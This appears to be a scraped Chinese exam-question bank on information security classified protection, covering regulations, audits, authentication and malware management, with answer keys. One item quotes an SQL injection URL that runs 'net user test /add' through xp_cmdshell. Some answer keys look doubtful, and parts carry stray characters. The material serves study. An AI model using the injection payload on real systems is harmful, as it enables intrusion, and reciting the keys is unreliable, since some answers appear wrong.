<p>C、产品研制、生产单位及其主要业务、技术人员无犯罪记录。</p>
<p>D、产品研制、生产单位声明没有故意留有或者设置漏洞、后门、木马等程序和功能。</p>
<p>13、三级及以上信息系统的物理访问控制应满足以下 A、B、C、D 要求：</p>
<p>A、机房出入口应安排专人值守，控制、鉴别和记录进入的人员。</p>
<p>B、需进入机房的来访人员应经过申请和审批流程，并限制和监控其活动范围。</p>
<p>C、应对机房划分区域进行管理，区域和区域之间设置物理隔离装置，在重要区域前设置交付或安装等过渡区域。</p>
<p>D、重要区域应配置电子门禁系统，控制、鉴别和记录进入的人员。</p>
<p>14、三级及以上信息系统的网络安全审计应满足以下 A、B、C、D 要求：</p>
<p>A、应对网络系统中的网络设备运行状况、网络流量、用户行为等进行日志记录；</p>
<p>B、审计记录应包括：事件的日期和时间、用户、事件类型、事件是否成功及其他与审计相关的信息；</p>
<p>C、应能够根据记录数据进行分析，并生成审计报表；</p>
<p>D、应对审计记录进行保护，避免受到未预期的删除、修改或覆盖等。</p>
<p>15、三级及以上信息系统的应用安全身份鉴别应满足以下 A、B、C、D 要求：</p>
<p>A、应对同一用户采用两种或两种以上组合的鉴别技术实现用户身份鉴别；</p>
<p>B、应提供用户身份标识唯一和鉴别信息复杂度检查功能，保证应用系统中不存在重复用户身份标识，身份鉴别信息不易被冒用；</p>
<p>C、应提供登录失败处理功能，可采取结束会话、限制非法登录次数和自动退出等措施；</p>
<p>D、应启用身份鉴别、用户身份标识唯一性检查、用户身份鉴别信息复杂度检查以及登录失败处理功能，并根据安全策略配置相关参数。</p>
<p>16、三级及以上信息系统的应用安全资源控制应满足以下 A、B、C、D 要求：</p>
<p>A、应能够对一个时间段内可能的并发会话连接数进行限制。</p>
<p>B、应能够对一个访问帐户或一个请求进程占用的资源分配最大限额和最小限额。</p>
<p>C、应能够对系统服务水平降低到预先规定的最小值进行检测和报警。</p>
<p>D、应提供服务优先级设定功能，并在安装后根据安全策略设定访问帐户或请求进程的优先级，根据优先级分配系统资源。</p>
<p>17、三级信息系统的人员录用应满足以下要求：A、B、C。</p>
<p>A、应指定或授权专门的部门或人员负责人员录用。</p>
<p>B、应严格规范人员录用过程，对被录用人的身份、背景、专业资格和资质等进行审查，对其所具有的技术技能进行考核。</p>
<p>C、应签署保密协议。</p>
<p>D、可从所有人员中选拔从事关键岗位的人员，并签署岗位安全协议。</p>
<p>18、三级信息系统的管理制度包括如下 A、B、C 内容。</p>
<p>A、应制定信息安全工作的总体方针和安全策略，说明机构安全工作的总体目标、范围、原则和安全框架等；</p>
<p>B、应对安全管理活动中的各类管理内容建立安全管理制度；</p>
<p>C、应对要求管理人员或操作人员执行的日常管理操作建立操作规程；</p>
<p>D、应形成由安全策略、管理制度、操作规程等构成的全面的信息安全管理制度体系。</p>
<p>19、三级信息系统的系统定级包括如下 A、B、C、D 内容。</p>
<p>A、应明确信息系统的边界和安全保护等级。</p>
<p>B、应以书面的形式说明确定信息系统为某个安全保护等级的方法和理由。</p>
<p>C、应组织相关部门和有关安全技术专家对信息系统定级结果的合理性和正确性进行论证和审定。</p>
<p>D、应确保信息系统的定级结果经过相关部门的批准。</p>
<p>20、三级信息系统的外包软件开发包括如下 A、B、C、D 内容。</p>
<p>A、应根据开发需求检测软件质量。</p>
<p>B、应在软件安装之前检测软件包中可能存在的恶意代码。</p>
<p>C、应要求开发单位提供软件设计的相关文档和使用指南。</p>
<p>D、应要求开发单位提供软件源代码，并审查软件中可能存在的后门。</p>
<p>21、三级信息系统的恶意代码防范管理包括如下 A、B、C、D 内容。</p>
<p>A、应提高所有用户的防病毒意识，及时告知防病毒软件版本，在读取移动存储设备上的数据以及网络上接收文件或邮件之前，先进行病毒检查，对外来计算机或存储设备接入网络系统之前也应进行病毒检查。</p>
<p>B、应指定专人对网络和主机进行恶意代码检测并保存检测记录。</p>
<p>C、应对防恶意代码软件的授权使用、恶意代码库升级、定期汇报等作出明确规定。</p>
<p>D、应定期检查信息系统内各种产品的恶意代码库的升级情况并进行记录，对主机防病毒产品、防病毒网关和邮件防病毒网关上截获的危险病毒或恶意代码进行及时分析处理，并形成书面的报表和总结汇报。</p>
<p>22、对三级信息系统的人员配备包括如下 A、B、C、D 内容。</p>
<p>A、应配备一定数量的系统管理员、网络管理员、安全管理员等。</p>
<p>B、应配备专职安全管理员，不可兼任。</p>
<p>C、关键事务岗位应配备多人共同管理。</p>
<p>D、应配备系统审计员，加强对管理员工作的监督。</p>
<p>23、三级信息系统的测试验收包括如下 A、B、C、D 内容。</p>
<p>A、应委托公正的第三方测试单位对系统进行安全性测试，并出具安全性测试报告；</p>
<p>B、在测试验收前应根据设计方案或合同要求等制订测试验收方案，在测试验收过程中应详细记录测试验收结果，并形成测试验收报告；</p>
<p>C、应指定或授权专门的部门负责系统测试验收的管理，并按照管理规定的要求完成系统测试验收工作；</p>
<p>D、应组织相关部门和相关人员对系统测试验收报告进行审定，并签字确认。</p>
<p>24、三级信息系统的等级测评包括如下 A、B、C、D 内容</p>
<p>A、在系统运行过程中，应至少每年对系统进行一次等级测评，发现不符合相应等级保护标准要求的及时整改。</p>
<p>B、应在系统发生变更时及时对系统进行等级测评，发现级别发生变化的及时调整级别并进行安全改造，发现不符合相应等级保护标准要求的及时整改。</p>
<p>C、应选择具有国家相关技术资质和安全资质的测评单位进行等级测评。</p>
<p>D、应指定或授权专门的部门或人员负责等级测评的管理。</p>
<p>25、三级信息系统的安全服务商选择包括如下 A、B、C、D 内容</p>
<p>A、应确保安全服务商的选择符合国家的有关规定。</p>
<p>B、应与选定的安全服务商签订与安全相关的协议，明确约定相关责任。</p>
<p>C、应确保选定的安全服务商提供技术培训和服务承诺，必要的与其签订服务合同。</p>
<p>D、应确保选定的安全服务商提供质量保证。</p>
<p>26、信息安全等级保护测评方法，以下哪种表述最完整： D 。</p>
<p>A、访谈 B、检查 C测试 D、访谈、检查和测试</p>
<p>27、信息安全等级保护测评工作原则，主要包括： A、B、C、D 。</p>
<p>A、规范性原则 B、整体性原则 C、最小影响原则 D、保密性原则</p>
<p>28、等级测评实施过程中可能存在的风险，主要有： A、B、C 。</p>
<p>A、验证测试影响系统正常运行</p>
<p>B、工具测试影响系统正常运行</p>
<p>C、敏感信息泄漏</p>
<p>29、某信息系统1被定为3级，测评的指标选择可能有： A、B、C、D 。</p>
<p>A、S3A3G3 B、S3A1G3 C、S3A2G3 D、S1A3G3</p>
<p>30、等级保护测评准则的作用，主要有： A、B、C、D 。</p>
<p>A、指导系统运营使用单位进行自查</p>
<p>B、指导评估机构进行检测评估</p>
<p>C、监管职能部门参照进行监督检查</p>
<p>D、规范测评内容和行为</p>
<p><strong>一、法律法规</strong></p>
<p>一、单选题</p>
<p>1．根据《信息安全等级保护管理办法》，（A）负责信息安全等级保护工作的监督、检查、指导。</p>
<p>A．公安机关</p>
<p>B．国家保密工作部门</p>
<p>C．国家密码管理部门</p>
<p>2．根据《信息安全等级保护管理办法》，（D）应当依照相关规范和标准督促、检查、指导本行业、本部门或本地区信息系统运营、使用单位的信息安全等级保护工作。</p>
<p>A．公安机关</p>
<p>B．国家保密工作部门</p>
<p>C．国家密码管理部门</p>
<p>D．信息系统的主管部门</p>
<p>3．计算机信息系统安全保护等级根据计算机信息系统在国家安全、经济建设、社会生活中的_______，计算机信息系统受到破坏后对国家安全、社会秩序、公共利益以及公民、法人和其他组织的合法权益的_______等因素确定。(B)</p>
<p>A．经济价值 经济损失</p>
<p>B．重要程度 危害程度</p>
<p>C．经济价值 危害程度</p>
<p>D．重要程度 经济损失</p>
<p>4．对拟确定为（D）以上信息系统的，运营、使用单位或者主管部门应当请国家信息安全保护等级专家评审委员会评审。</p>
<p>A．第一级</p>
<p>B．第二级</p>
<p>C．第三级</p>
<p>D．第四级</p>
<p>5．一般来说，二级信息系统，适用于（D）</p>
<p>A．乡镇所属信息系统、县级某些单位中不重要的信息系统。小型个体、私营企业中的信息系统。中小学中的信息系统。</p>
<p>B．适用于地市级以上国家机关、企业、事业单位内部重要的信息系统；重要领域、重要部门跨省、跨市或全国（省）联网运行的信息系统；跨省或全国联网运行重要信息系统在省、地市的分支系统；各部委官方网站；跨省（市）联接的信息网络等。</p>
<p>C．适用于重要领域、重要部门三级信息系统中的部分重要系统。例如全国铁路、民航、电力等调度系统，银行、证券、保险、税务、海关等部门中的核心系统。</p>
<p>D．地市级以上国家机关、企业、事业单位内部一般的信息系统。例如小的局域网，非涉及秘密、敏感信息的办公系统等。</p>
<p>6．信息系统建设完成后，（A）的信息系统的运营使用单位应当选择符合国家规定的测评机构进行测评合格方可投入使用。</p>
<p>A．二级以上</p>
<p>B．三级以上</p>
<p>C．四级以上</p>
<p>D．五级以上</p>
<p>7．安全测评报告由（D）报地级以上市公安机关公共信息网络安全监察部门。</p>
<p>A．安全服务机构</p>
<p>B．县级公安机关公共信息网络安全监察部门</p>
<p>C．测评机构</p>
<p>D．计算机信息系统运营、使用单位</p>
<p>8．新建（ ）信息系统，应当在投入运行后（ ），由其运营、使用单位到所在地设区的市级以上公安机关办理备案手续。（D）</p>
<p>A．第一级以上30日内</p>
<p>B．第二级以上60日内</p>
<p>C．第一级以上60日内</p>
<p>D．第二级以上30日内</p>
<p>9．根据《广东省计算机信息系统安全保护条例》规定，计算机信息系统的运营、使用单位没有向地级市以上人民政府公安机关备案的，由公安机关处以（D）</p>
<p>A．警告</p>
<p>B．拘留15日</p>
<p>C．罚款1500元</p>
<p>D．警告或者停机整顿</p>
<p>二、多选题</p>
<p>1．根据《关于信息安全等级保护的实施意见》，信息系统安全等级保护应当遵循什么原则？（ABCD）</p>
<p>A．明确责任，共同保护</p>
<p>B．依照标准，自行保护</p>
<p>C．同步建设，动态调整</p>
<p>D．指导监督，保护重点</p>
<p>2．根据《信息安全等级保护管理办法》，关于信息系统安全保护等级的划分，下列表述正确的是（ABCDE）。</p>
<p>A．第一级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益造成损害，但不损害国家安全、社会秩序和公共利益</p>
<p>B．第二级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益产生严重损害，或者对社会秩序和公共利益造成损害，但不损害国家安全</p>
<p>C．第三级，信息系统受到破坏后，会对社会秩序和公共利益造成严重损害，或者对国家安全造成损害</p>
<p>D．第四级，信息系统受到破坏后，会对社会秩序和公共利益造成特别严重损害，或者对国家安全造成严重损害</p>
<p>E．第五级，信息系统受到破坏后，会对国家安全造成特别严重损害</p>
<p>3．根据《广东省计算机信息系统安全保护条例》，计算机信息系统（ABCD）应当同步落实相应的安全措施。</p>
<p>A．规划</p>
<p>B．设计</p>
<p>C．建设</p>
<p>D．维护</p>
<p>4．经测评，计算机信息系统安全状况未达到国家有关规定和标准的要求的，（AB）</p>
<p>A．委托单位应当根据测评报告的建议，完善计算机信息系统安全建设</p>
<p>B．重新提出安全测评委托</p>
<p>C．另行委托其他测评机构进行测评</p>
<p>D．自行进行安全测评</p>
<p>5．根据《广东省信息安全等级测评工作细则》，关于测评和自查工作，以下表述正确的是（ABCD）。</p>
<p>A．第三级计算机信息系统应当每年至少进行一次安全自查和安全测评</p>
<p>B．第四级计算机信息系统应当每半年至少进行一次安全自查和安全测评</p>
<p>C．第五级计算机信息系统应当依据特殊安全要求进行安全自查和安全测评</p>
<p>D．自查报告连同测评报告应当由计算机信息系统运营、使用单位报地级以上市公安机关公共信息网络安全监察部门</p>
<p>6．根据《广东省公安厅关于计算机信息系统安全保护的实施办法》，关于公安机关的进行安全检查的要求，下列表述正确的是（ABCD）。</p>
<p>A．对第三级计算机信息系统每年至少检查一次</p>
<p>B．对第四级计算机信息系统每半年至少检查一次</p>
<p>C．对第五级计算机信息系统，应当会同国家指定的专门部门进行检查</p>
<p>D．对其他计算机信息系统应当不定期开展检查</p>
<p>7．根据《广东省计算机信息系统安全保护条例》，计算机信息系统的运营、使用单位接到公安机关要求整改的通知后拒不按要求整改的，由公安机关处以（CD）。</p>
<p>A．罚款5000元</p>
<p>B．拘留15日</p>
<p>C．警告</p>
<p>D．停机整顿</p>
<p>8．根据《广东省计算机信息系统安全保护条例》规定，第二级以上计算机信息系统的运营、使用单位计算机信息系统投入使用前未经符合国家规定的安全等级测评机构测评合格的 ，由公安机关（ABCDE）。</p>
<p>A．责令限期改正，给予警告</p>
<p>B．逾期不改的，对单位的主管人员、其他直接责任人员可以处五千元以下罚款，对单位可以处一万五千元以下罚款</p>
<p>C．有违法所得的，没收违法所得</p>
<p>D．情节严重的，并给予六个月以内的停止联网、停机整顿的处罚</p>
<p>E．必要时公安机关可以建议原许可机构撤销许可或者取消联网资格</p>
<p>9．根据《广东省公安厅关于计算机信息系统安全保护的实施办法》，信息安全等级测评机构申请备案(AB)</p>
<p>A．一般应当向地级以上市公安机关公共信息网络安全监察部门提出申请</p>
<p>B．承担省直和中央驻粤单位信息安全等级测评工作的机构，直接向省公安厅公共信息网络安全监察部门提出申请</p>
<p>C．一般应当向公安部公共信息网络安全监察部门提出申请</p>
<p>D．一般应当向县级以上市公安机关公共信息网络安全监察部门提出申请</p>
<p>10．根据《信息安全等级保护管理办法》，安全保护等级为第三级以上的计算机信息系统应当选用符合下列条件的安全专用产品：（ABCDE）</p>
<p>A．产品研制、生产单位是由中国公民、法人投资或者国家投资或者控股的，在中华人民共和国境内具有独立的法人资格</p>
<p>B．产品的核心技术、关键部件具有我国自主知识产权</p>
<p>C．产品研制、生产单位及其主要业务、技术人员无犯罪记录</p>
<p>D．产品研制、生产单位声明没有故意留有或者设置漏洞、后门、木马等程序和功能</p>
<p>E．对国家安全、社会秩序、公共利益不构成危害</p>
<p>三、判断题</p>
<p>1．根据《信息安全等级保护管理办法》，第三级信息系统运营、使用单位应当依据国家管理规范和技术标准进行保护，国家有关信息安全职能部门对其信息安全等级保护工作进行强制监督、检查。(×)</p>
<p>2．根据《信息安全等级保护管理办法》，国家保密工作部门负责等级保护工作中有关保密工作的监督、检查、指导(√)</p>
<p>3．根据《信息安全等级保护管理办法》，信息系统的运营、使用单位应当根据本办法和有关标准，确定信息系统的安全保护等级并报公安机关审核批准。(×)</p>
<p>4．根据《信息安全等级保护管理办法》，信息系统的运营、使用单位应当根据已确定的安全保护等级，依照本办法和有关技术标准，使用符合国家有关规定，满足信息系统安全保护等级需求的信息技术产品，进行信息系统建设。(√)</p>
<p>5．根据《信息安全等级保护管理办法》，第十五条 已运营（运行）的第二级以上信息系统，应当在安全保护等级确定后30日内，由其运营、使用单位到所在地设区的市级以上公安机关办理备案手续(√)</p>
<p>6．根据《信息安全等级保护管理办法》，公安机关应当掌握信息系统运营、使用单位的备案情况，发现不符合本办法及有关标准的，应建议其予以纠正。(×)</p>
<p>7．根据《信息安全等级保护管理办法》，公安机关检查发现信息系统安全保护状况不符合信息安全等级保护有关管理规范和技术标准的，应当向运营、使用单位发出整改通知(√)</p>
<p>8．信息系统运营、使用单位应当依照相关规定和标准和行业指导意见自主确定信息系统的安全保护等级。即使有主管部门的，也不必经主管部门审核批准。（×）</p>
<p><strong>二、实施指南</strong></p>
<p>一、单选题：</p>
<ol>
<li>1999年，我国发布的第一个信息安全等级保护的国家标准GB 17859 — 1999，提出将信息系统的安全等级划分为______个等级，并提出每个级别的安全功能要求。
<p>A.7</p>
<p>B.8</p>
<p>C.6</p>
<p>D.5</li>
<li>等级保护标准GB 17859主要是参考了______而提出。
<p>A.欧洲ITSEC</p>
<p>B.美国TCSEC</p>
<p><a rel="nofollow" href="http://c.cc/">C.CC</a></p>
<p><a rel="nofollow" href="http://d.bs/">D.BS</a> 7799</li>
<li>信息安全等级保护的5个级别中，______是最高级别，属于关系到国计民生的最关键信息系统的保护。
<p>A.强制保护级</p>
<p>B.专控保护级</p>
<p>C.监督保护级</p>
<p>D.指导保护级</p>
<p>E.自主保护级</li>
<li>《信息系统安全等级保护实施指南》将______作为实施等级保护的第一项重要内容。
<p>A.安全定级</p>
<p>B.安全评估</p>
<p>C.安全规划</p>
<p>D.安全实施</li>
<li>______是进行等级确定和等级保护管理的最终对象。
<p>A.业务系统</p>
<p>B.功能模块</p>
<p>C.信息系统</p>
<p>D.网络系统</li>
<li>当信息系统中包含多个业务子系统时，对每个业务子系统进行安全等级确定，最终信息系统的安全等级应当由______所确定。
<p>A.业务子系统的安全等级平均值</p>
<p>B.业务子系统的最高安全等级</p>
<p>C.业务子系统的最低安全等级</p>
<p>D.以上说法都错误</li>
<li>关于资产价值的评估，______说法是正确的。
<p>A.资产的价值指采购费用</p>
<p>B.资产的价值无法估计</p>
<p>C.资产价值的定量评估要比定性评估简单容易</p>
<p>D.资产的价值与其重要性密切相关</p>
<ol>
<li>对以下URL的说明正确的是：<a rel="nofollow" href="http://192.168.1.77/show.asp?id=52;exec">http://192.168.1.77/show.asp?id=52;exec</a> master.dbo.xp_cmdshell ‘net user test /add’ ( )【BCD】<br />
A、试图通过操作系统<a rel="nofollow" class="hl hl-1" href="https://so.csdn.net/so/search?q=cmd&amp;spm=1001.2101.3001.7020" target="_blank" rel="noopener" data-report-click="{&quot;spm&quot;:&quot;1001.2101.3001.7020&quot;,&quot;dest&quot;:&quot;https://so.csdn.net/so/search?q=cmd&amp;spm=1001.2101.3001.7020&quot;,&quot;extra&quot;:&quot;{\&quot;searchword\&quot;:\&quot;cmd\&quot;}&quot;}" data-tit="cmd" data-pretit="cmd">cmd</a>.exe来添加帐户<br />
B、试图通过该URL实施<a rel="nofollow" class="hl hl-1" href="https://so.csdn.net/so/search?q=SQL%E6%B3%A8%E5%85%A5&amp;spm=1001.2101.3001.7020" target="_blank" rel="noopener" data-report-click="{&quot;spm&quot;:&quot;1001.2101.3001.7020&quot;,&quot;dest&quot;:&quot;https://so.csdn.net/so/search?q=SQL%E6%B3%A8%E5%85%A5&amp;spm=1001.2101.3001.7020&quot;,&quot;extra&quot;:&quot;{\&quot;searchword\&quot;:\&quot;SQL注入\&quot;}&quot;}" data-tit="SQL注入" data-pretit="sql注入">SQL注入</a>攻击<br />
C、试图调用xp_cmdshell存储过程执行系统命令<br />
D、试图增加test帐户</li>
<li>应从哪几方面审计windows系统是否存在后门( )【ABCD】<br />
A.查看服务信息<br />
B.查看驱动信息<br />
C.查看注册表键值<br />
D.查看进程信息</li>
<li>在Apache上，有个非常重要的安全模块Mod_Security ，下面哪些是这个模块具备的功能：（ ）【BCD】<br />
A、基于IP的访问控制<br />
B、缓冲区溢出的保护<br />
C、对SQL注入有一定的防止作用<br />
D、对请求方法和请求内容，进行过滤控制</li>
</ol>
<p>Oracle数据库中如何设置audit trail审计，正确的说法是：（ ）【ABD】<br />
A、在init.ora文件中设置&#8221;audit_trail = true&#8221;或者&#8221;audit_trail = db&#8221;<br />
B、以SYSDBA身份使用AUDIT ALL ON SYS.AUD$ BY ACCESS,语句对audit trail审计<br />
C、Oracle不支持对audit trail的审计<br />
D、在设置audit trail审计前，要保证已经打开Oracle的审计机制</p>
<p>对于默认安装的JBoss4.3中间件，可能存在的安全问题？（ ）【AB】<br />
A. 远程命令执行漏洞<br />
B. 远程部署war包<br />
C. SQL注入漏洞<br />
D. xss跨站漏洞</p>
<p>下列哪些中间件默认页面存在JAVA反序列化漏洞？（ ）【ACD】<br />
A. JBoss<br />
B.IIS7<br />
C. weblogic<br />
D.websphere</p>
<p>常见网站敏感信息泄漏的文件类型有哪些？（ ）【AB】<br />
A.<em>.bak<br />
B.</em>.ini<br />
C.<em>.js<br />
D.</em>.html</p>
<p>典型数据库安全攻击方式包括（ ）？【ABCD】<br />
A.SQL注入<br />
B.网络窃听<br />
C.密码猜解<br />
D.未授权访问<br />
E. 包含漏洞<br />
F. 文件上传漏洞</p>
<p>1.为了加强防病毒网关对病毒文件或高风险文件的拦截，需要对含有以下后缀的文件进行直接删除（多选）：（ ） 【ABCDG】<br />
A、<em>.exe<br />
B、</em>.vbs<br />
C、<em>.bat<br />
D、</em>.js<br />
E、<em>.bmp<br />
F、</em>.txt<br />
G、*.com</p>
<p>2.要判断远程服务器是否开放某些TCP端口，可以使用以下哪些工具进行探测扫描？ （ ）【ACDEF】<br />
A．Telnet<br />
B．Ping<br />
C．Nmap<br />
D. ZenMap<br />
E．Nessus<br />
F. SQLMap</p>
<p>3.思科交换机上的ACL有以下特点：（ ） 【AB】<br />
A．需要把ACL绑定到端口<br />
B．必须绑定到端口的in或out方向<br />
C．可识别UDP会话状态<br />
D. 可判断流量是否为HTTP协议</p>
<p>4.以下哪些协议没有保护用户密码等机密信息在网络上的传输安全：（ ）【ABC】<br />
A．SMTP<br />
B．POP3<br />
C．FTP<br />
D. SSH<br />
E. HTTPS</p>
<p>1 建设关键信息基础设施应当确保其具有支持业务稳定、持续运行的性能，并保证安全技术措施________。 ABD<br />
A．同步规划<br />
B．同步建设<br />
C．同步投运<br />
D．同步使用</p>
<p>2 电力二次系统安全防护策略包括________。 ABCD<br />
A．安全分区<br />
B．网络专用<br />
C．横向隔离<br />
D．纵向认证</p>
<p>3 公司秘密包括________两类。 AC<br />
A．商业秘密<br />
B．个人秘密<br />
C．工作秘密<br />
D．部门文件</p>
<p>4 国家采取措施，<strong>来源于中华人民共和国境内外的网络安全风险和威胁，保护关键信息基础设施免受攻击、侵入、干扰和破坏。 ABC<br />
A．监测<br />
B．防御<br />
C．处置<br />
D．隔离</p>
<p>5 信息安全“三个不发生”是指</strong>____。 ABC<br />
A．确保不发生大面积信息系统故障停运事故<br />
B．确保不发生恶性信息泄密事故<br />
C．确保不发生信息外网网站被恶意篡改事故<br />
D．确保不发生信息内网非法外联事故</p>
<p>6 下列情况违反“五禁止”的有________。 ABCD<br />
A．在信息内网计算机上存储国家秘密信息<br />
B．在信息外网计算机上存储企业秘密信息<br />
C．在信息内网和信息外网计算机上交叉使用普通优盘<br />
D．在信息内网和信息外网计算机上交叉使用普通扫描仪</p>
<p>7 网络运营者收集、使用个人信息，应当遵循______________的原则，公开收集、使用规则，明示收集、使用信息的目的、方式和范围，并经被收集者同意。 BCD<br />
A．真实 B．合法 C．正当 D．必要</p>
<p>8 下列关于网络<a rel="nofollow" class="hl hl-1" href="https://so.csdn.net/so/search?q=%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8&amp;spm=1001.2101.3001.7020" target="_blank" rel="noopener" data-report-view="{&quot;spm&quot;:&quot;1001.2101.3001.7020&quot;,&quot;dest&quot;:&quot;https://so.csdn.net/so/search?q=%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8&amp;spm=1001.2101.3001.7020&quot;,&quot;extra&quot;:&quot;{\&quot;searchword\&quot;:\&quot;信息安全\&quot;}&quot;}" data-report-click="{&quot;spm&quot;:&quot;1001.2101.3001.7020&quot;,&quot;dest&quot;:&quot;https://so.csdn.net/so/search?q=%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8&amp;spm=1001.2101.3001.7020&quot;,&quot;extra&quot;:&quot;{\&quot;searchword\&quot;:\&quot;信息安全\&quot;}&quot;}" data-tit="信息安全" data-pretit="信息安全">信息安全</a>说法正确的有_______。 AC<br />
A．网络运营者应当对其收集的用户信息严格保密<br />
B．网络运营者应妥善管理用户信息，无需建立用户信息保护制度<br />
C．网络运营者不得泄露、篡改、毁损其收集的个人信息<br />
D．在经过处理无法识别特定个人且不能复原的情况下，未经被收集者同意，网络运营者不得向他人提供个人信息。</p>
<p>9 下列关于内外网邮件系统说法正确的有________。ABCD<br />
A．严禁使用未进行内容审计的信息内外网邮件系统<br />
B．严禁用户使用默认口令作为邮箱密码<br />
C．严禁内外网邮件系统开启自动转发功能<br />
D．严禁用户使用互联网邮箱处理公司办公业务</p>
<p>10 网络运营者，是指________。 BCD<br />
A．网络运维者 B．网络所有者 C．网络服务提供者 D．网络管理者</p>
<p>11 下列关于网络安全法的说法错误的有________。 AB<br />
A．国家规定关键信息基础设施以外的网络运营者必须参与关键信息基础设施保护体系。<br />
B．关键信息基础设施的运营者可自行采购网络产品和服务不通过安全审查。<br />
C．网络运营者应当加强对其用户发布的信息的管理，发现法律、行政法规禁止发布或者传输的信息的，应当立即向上级汇报。<br />
D．国家网信部门应当统筹协调有关部门加强网络安全信息收集、分析和通报工作，按照规定统一发布网络安全监测预警信息。</p>
<p>12 某单位信息内网的一台计算机上一份重要文件泄密，但从该计算机上无法获得泄密细节和线索，可能的原因是________。 ABCD<br />
A．该计算机未开启审计功能 B．该计算机审计日志未安排专人进行维护<br />
C．该计算机感染了木马 D．该计算机存在系统漏洞</p>
<p>13 网络安全事件发生的风险增大时，省级以上人民政府有关部门应当按照规定的权限和程序，并根据网络安全风险的特点和可能造成的危害，采取下列措施_______。ACD<br />
A．要求有关部门、机构和人员及时收集、报告有关信息<br />
B．加强对网络安全风险的监测<br />
C．组织有关部门、机构和专业人员，对网络安全风险信息进行分析评估<br />
D．向社会发布网络安全风险预警，发布避免、减轻危害的措施</p>
<p>14 因网络安全事件，发生突发事件或者生产安全事故的，应当依照_______等有关法律、行政法规的规定处置。 BC<br />
A．《中华人民共和国网络安全法》<br />
B．《中华人民共和国突发事件应对法》<br />
C．《中华人民共和国安全生产法》<br />
D．《中华人民共和国应急法》</p>
<p>15 网络安全事件应急预案应当按照事件发生后的________、________等因素对网络安全事件进行分级。 AB<br />
A．危害程度 B．影响范围 C．事件等级 D．关注程度</p>
<ol>
<li>信息安全方针和策略的流程是（）。【 ABC】<br />
A．安全方针和策略 B．资金投入管理 C．信息安全规划 D．以上都不是</li>
<li>从系统整体看，下述那些问题属于系统安全漏洞。 【ABC】<br />
A、产品缺少安全功能 B、产品有Bugs C、缺少足够的安全知识 D、人为错误</li>
<li>应对操作系统安全漏洞的基本方法是什么？。【 AB】<br />
A、对默认安装进行必要的调整 B、给所有用户设置严格的口令<br />
C、及时安装最新的安全补丁 D、更换到另一种操作系统</li>
<li>计算机安全事故包括以下几个方面（）。【ABCD】<br />
A．因自然因素，导致发生危害计算机信息系统安全的事件<br />
B．因自然因素，进入可能导致危害计算机信息系统安全的非正常运行状态的事件<br />
C．因人为原因，导致发生危害计算机信息系统安全的事件<br />
D．因人为原因，进入可能导致危害计算机信息系统安全的非正常运行状态的 事件</li>
<li>病毒防护必须具备哪些准则。【ABCD】<br />
A、拒绝访问能力 B、病毒检测能力<br />
C、控制病毒传播的能力 D、清除能力、恢复能力、替代操作</li>
<li>防火墙管理员应承担下面哪些责任：（）。【 ABCD】<br />
A．规划和部署，策略制定，规则配置与测试 B．防火墙状态监控<br />
C．防火墙日志审计分析 D．安全事件的响应处理</li>
<li>应建立计算机信息网络安全管理组织的联网单位有：（）。【ABC】<br />
A、各互联网接入服务单位 B、信息服务单位<br />
C、专线接入互联网的单位 D、所有接入互联网的单位</li>
<li>实行计算机安全事故和计算机案件报告制度是（）。【ABCD】<br />
A、是计算机信息系统安全监察和安全防范、安全管理工作中的重要组成部分<br />
B、是贯彻落实有关安全法规，强化计算机信息系统安全管理的规范性要求<br />
C、是公安机关了解掌握计算机信息系统应用单位内部安全管理情况的手段<br />
D、是国家法规的要求，也是所有计算机使用单位和用户，以及公民应有的职责和义务</li>
</ol>
<p>81.（ ）造成了我国信息安全技术实力较弱。<br />
A.缺乏自主技术体系d B.对新兴技术信息安全反应过慢d C.对网络犯罪技术缺乏有效应对d D.没有掌握核心技术d E.对新兴技术信息盲目跟风d<br />
82.我国互联网发展有哪些特征？（ ）<br />
A.互联网经济快速发展dB.互联网的社会影响逐步加深dC.互联网规模持续扩大dD.互联网应用更新换代不断加快dE.以上都是正确的d<br />
83.传统媒体的问题包括（ ）。<br />
A.失去新闻的时效性dB.失去舆论话语权dC.不符合用户导向性dD.新闻与传播的脱节dE.传统新闻业诸多改革壁垒d<br />
84.用好管好互联网的四个理念包括（ ）。<br />
A.依法管网理念d B.以人管网理念d C.技术管网理念d D.以德管网理念 E.综合管网理念d<br />
85.自媒体的四个属性包括（ ）。<br />
A.自然dB.自有dC.自我dD.自理E.自律d<br />
86.微博博主的主要类型包括（ ）。<br />
A.自我表达型dB.社交活跃型dC.官方阐述型D.话题讨论型dE.潜水偷窥型d<br />
87.医患关系中医患纠纷的原因主要包括（ ）。<br />
A.政府方面dB.媒体方面dC.患者方面dD.医院方面dE.以上都是d<br />
88.现在，我们处在IT变革的时代，云计算带来了许多新的变化，包括（）。<br />
A.数据处理模式从集中走向分散B.数据处理模式从分散走向集中dC.用户界面更加人性化，可管理性和安全性大大提高dD.网络无处不在，连接无处不在dE.通讯和信息处理方式将全面网络化，并实现前所未有的系统扩展能力和跨平台能力d<br />
89.恶意代码是一些恶意的软件，是广义的病毒，它的特征包括（）。<br />
A.目的是恶意的dB.目的并非恶意C.本身也是程序dD.通过执行发生作用dE.本身并非程序<br />
90.在整个账户安全里，最重要的是实现强密码保护，实现强密码保护的措施包括（）。<br />
A.设置密码时，避免包含个人信息dB.为防止忘记密码，将密码记录在电脑中C.不要将密码记录在电脑中d<br />
D.使用不同的密码dE.设置密码时，混合使用大小写、数字符等d</p>
<ol>
<li>在局域网中计算机病毒的防范策略有______。(ADE)<br />
A.仅保护工作站 B.保护通信系统 C.保护打印机<br />
D.仅保护服务器 E.完全保护工作站和服务器</li>
<li>在互联网上的计算机病毒呈现出的特点是______。(ABCD)<br />
A. 与互联网更加紧密地结合，利用一切可以利用的方式进行传播<br />
B. 具有多种特征，破坏性大大增强<br />
C. 扩散性极强，也更注重隐蔽性和欺骗性<br />
D. 针对系统漏洞进行传播和破坏</li>
<li>一个安全的网络系统具有的特点是______。(ABCE)<br />
A. 保持各种数据的机密<br />
B. 保持所有信息、数据及系统中各种程序的完整性和准确性<br />
C. 保证合法访问者的访问和接受正常的服务<br />
D. 保证网络在任何时刻都有很高的传输速度<br />
E. 保证各方面的工作符合法律、规则、许可证、合同等标准</li>
<li>任何信息安全系统中都存在脆弱点，它可以存在于______。(ABCDE)<br />
